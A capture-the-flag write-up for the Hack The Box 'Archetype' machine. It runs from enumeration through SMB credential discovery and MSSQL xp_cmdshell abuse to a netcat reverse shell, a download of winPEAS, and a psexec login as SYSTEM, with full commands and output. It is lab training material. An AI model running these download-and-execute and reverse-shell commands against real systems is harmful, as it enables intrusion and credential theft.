ArcheType CTF – HTB

Enumeration

In the enumeration stage I start off by doing an NMAP scan.

sudo nmap -sV -A -p- --script vuln 10.10.10.27 -oN nmap.result
--------------------------------------------------------------
Nmap scan report for 10.10.10.27
Host is up (0.062s latency).
Not shown: 65523 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000
|_sslv2-drown: 
| vulners: 
|   cpe:/a:microsoft:sql_server:2017: 
|     	CVE-2007-5090	7.5	https://vulners.com/cve/CVE-2007-5090
|     	CVE-2021-1636	6.5	https://vulners.com/cve/CVE-2021-1636
|     	CVE-2019-1068	6.5	https://vulners.com/cve/CVE-2019-1068
|_    	CVE-2019-0819	4.0	https://vulners.com/cve/CVE-2019-0819
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

There are a couple of interesting ports open, among other things port 445 (SMB) and 1433 (mssql).

I’ll run ‘enum4linux’ against the server. The interesting take from that scan was that it dosent require username or password to connect to SMB.

enum4linux -H 10.10.10.27
-----------------------------
 ==================================== 
|    Session Check on 10.10.10.27    |
 ==================================== 
[+] Server 10.10.10.27 allows sessions using username '', password ''
[+] Got domain/workgroup name: 

We’ll try and connect to SMB using ‘smbclient’.

smbclient -L //10.10.10.27
--------------------------
Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backups         Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC


------------------------------
# Connect to backups
smbclient //10.10.10.27/backups
smb: \> ls
  .                                   D        0  Mon Jan 20 12:20:57 2020
  ..                                  D        0  Mon Jan 20 12:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 12:23:02 2020

		10328063 blocks of size 4096. 8248445 blocks available
smb: \> get prod.dtsConfig

-----------------------
cat prod.dtsConfig

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>



Gain access

I found a username and a password. I will use those creds to try and connect to mssql. Using impackts ‘mssqlclient.py’ to connect to mssql.

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.24.dev1 - Copyright 2021 SecureAuth Corporation

Password:

SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd

From the help menu I can see that I can execute arbitrary commands on the SQL server. I’ll use int0x33‘s ‘nc.exe’, send this to the target machine, and try and get a reverse shell.

# Terminal 1 attacker - in the same dir as nc.exe
sudo python3 -m http.server 8080

# Terminal 2 target SQL
SQL> enable_xp_cmdshell 
SQL> reconfigure
SQL> xp_cmdshell "powershell wget http://10.10.14.117:8080/nc.exe -OutFile %temp%/nc.exe"        
output                                                                                           
--------------------------------------------------------------------------------                 
NULL 

# Terminal 1 attacker - nc.exe is sent from attacker to target 
10.10.10.27 - - [17/Jun/2021 07:59:41] "GET /nc.exe HTTP/1.1" 200 -

# Terminal 3 attacker 
sudo rlwrap nc -nlvp 443
listening on [any] 443 ...

# Terminal 2 target SQL
SQL> xp_cmdshell "%temp%/nc.exe -nv 10.10.14.117 443 -e cmd.exe"

# Target 3 attacker - reverse shell 
connect to [10.10.14.117] from (UNKNOWN) [10.10.10.27] 49716
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
archetype\sql_svc

rlwrap gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell.


PrivSec

Using carlospolop’s winPEAS.bat we can find possible privsec vectors. Its an amazing tool that you should have in your toolbox. Its available for Linux aswell.

We’ll send the ‘winPEAS.bat’ to the target using http.server.

SQL> xp_cmdshell "powershell wget http://10.10.14.117:8080/winPEASbat -OutFile %temp%/winpeas.bat" 

# From the reverse shell
C:\Users\sql_svc> cd %temp%
C:\Users\sql_svc\AppData\Local\Temp>winpeas.bat 

This will run the winpeas.bat, and it takes a while to run. From the winpeas.bat we find an interesting file ‘C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine’. From the file we find the password for ‘administrator’ , which is ‘MEGACORP_4dm1n!!’. Using that info, we can use impackts psexec.py to login to administrator and get the root flag.

psexec.py administrator@10.10.10.27
Impacket v0.9.24.dev1 - Copyright 2021 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file FfeDRNaS.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service qkmG on 10.10.10.27.....
[*] Starting service qkmG.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami
nt authority\system

C:\Users\Administrator>cd Desktop

C:\Users\Administrator>dir 
 Directory of C:\Users\Administrator\Desktop

01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:36 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  33,822,023,680 bytes free

Similar Posts